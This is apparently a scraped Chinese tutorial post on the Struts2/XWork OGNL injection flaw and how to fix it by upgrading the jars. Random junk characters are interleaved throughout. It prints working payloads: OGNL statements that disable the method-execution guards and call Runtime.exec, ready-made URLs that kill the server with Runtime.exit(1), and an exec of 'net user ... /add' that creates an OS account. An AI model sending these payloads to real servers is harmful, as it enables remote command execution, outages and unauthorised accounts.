1、struts2漏洞原理
1 b) u8 C8 O: oStruts2是Struts + WebWork。WebWork最终是使用XWork来处理HTTP参数,是通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。当我们提交一个http参数:
( D% d: F! k3 W. [7 [" l3 k?user.address.city=Bishkek&user['favoriteDrink']=kumys
3 I& M) r/ p9 \7 ?$ R0 Z* |ONGL将它转换为:- `+ c3 G5 O& N) A5 P Z/ x
action.getUser().getAddress().setCity(“Bishkek”)2 F% f# }# n0 d. z* E9 E
action.getUser().setFavoriteDrink(“kumys”)& t0 L6 n7 k& F9 G* ~
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()方法来实现的。除了提供getting/setting方法, OGNL 还支持其他更多的用法:+ B s% A @) T* \ c
方法调用: foo()0 O# k, u0 i/ Y& C
静态方法调用: @java.lang.System@exit(1) a4 y% s' u. `/ D& W: j
构造函数调用: new MyClass()
. ~- _/ T6 F& x; m8 G向上下文变量赋值: #foo = new MyClass()/ Q! g0 G% o5 ]6 U9 s$ e6 M5 n* U
…5 ^6 P2 x: W9 K# E
因为HTTP参数就是OGNL的执行语句,为了防止通过HTTP参数调用一个恶意函数来攻击网站,XWork有下面两个变量来限制方法的执行:, ?, o9 x: |. t. S
OgnlContext的属性:xwork.MethodAccessor.denyMethodExecution (set to true by default)5 t: @3 p* Q8 L
SecurityMemberAccess 私有属性:allowStaticMethodAccess (set to false by default)
3 Z* J( \3 \% ?9 s* l" n& R6 ~为了方便开发者方便的访问变量, XWork提供了下面几个预定义的上下文变量:
* g+ D0 W8 g) F6 J2 \#application# l! O5 M0 I J8 S+ n& J0 a- V
#session; j& R g7 S/ H3 ^
#request ?( |- l" J( i m9 m) ]8 k4 }
#parameters
2 P5 Z- ]9 c& P7 J: N#attr' `" O$ d. D+ n ^8 h* i
这些变量代表了服务器端的对象,类似一个map。为篡改这些服务器端的变量,XWork的ParametersInterceptor不允许在http参数中使用#,但是可以使用Java的unicode String 来代替: \u0023。
/ }9 q X: e0 h1 D2 R" Q除了上面的上下文变量以外,还有下面更多的变量:
8 d2 z+ O# d* s: N. y) Q# _#context – OgnlContext, the one guarding method execution based on ‘xwork.MethodAccessor.denyMethodExecution’ property value.
& o6 y& I5 _, i% c#_memberAccess – SecurityMemberAccess, whose ‘allowStaticAccess’ field prevented static method execution.
! u7 d0 L r5 ?! B" g! l E#root5 J( q4 E* m) o% [* J
#this. B7 r8 @: a9 W2 T
#_typeResolver
( A5 b' |' y3 P+ m$ ~#_classResolver9 D' f2 i3 b0 Y7 R3 a/ x+ F' W* Z
#_traceEvaluations( a7 l* ]1 b, _" |7 f
#_lastEvaluation, d% ]- i7 o2 f/ J
#_keepLastEvaluation
* n' Z2 m0 ^" X. C$ k从上面的信息你可能已经看出问题了,我可以修改这些变量的值,然后执行一段恶意的java代码:% B/ w, B( _ C h( V2 t' s
#_memberAccess['allowStaticMethodAccess'] = true: r( b. K/ M: |9 L
#foo = new java .lang.Boolean(“false”)
6 T1 W% Q/ t3 V. d2 {0 ~#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
0 \5 J( }5 Z( U8 ~#rt = @java.lang.Runtime@getRuntime()) a7 W! ~4 ~3 ]% [" d: O
#rt.exec(‘mkdir /tmp/PWNED’)
! M# M; l( B( ~1 R5 X1 g; F9 \另外,你可以使用下面的代码检验一下你的网站是否有漏洞: http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
, I4 _, [1 q. O7 I4 U旧版本的XWork没有属性’allowStaticMethodAccess’ 可以使用下面的URL: http://mydomain/MyStruts.action?(aaa)((‘\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1, ?: V2 o8 \0 o2 h- i- F" P
OGNL处理时最终的结果就是
! N2 Q0 U7 ^0 l$ f" yjava.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭, B' w: o$ b3 E
类似的可以执行$ d2 @ k* a$ x
java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/),只要有权限就可以执行任何DOS命令。6 u* {( C% b7 d9 p2 ~( I5 q
2、struts2漏洞解决方法
0 g3 M6 l, _. ?将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4。主要用到以下几个替换掉旧版本的:1 E' ]4 f7 x n b
commons-lang3-3.1.jar (保留commons-lang-2.6.jar) G( E0 w& H/ p$ {8 R# N4 a7 ]1 a
javassist-3.11.0.GA.jar (新加包)
; ?! I; g$ p! a9 O dognl-3.0.5.jar (替换旧版本)
7 F' E& n( n6 S' V0 t2 K6 bstruts2-core-2.3.4.1.jar (替换旧版本)
. a0 p+ d. ~) r: r8 R1 Exwork-core-2.3.4.1.jar (替换旧版本) # ~2 m _8 v. S6 a; \
|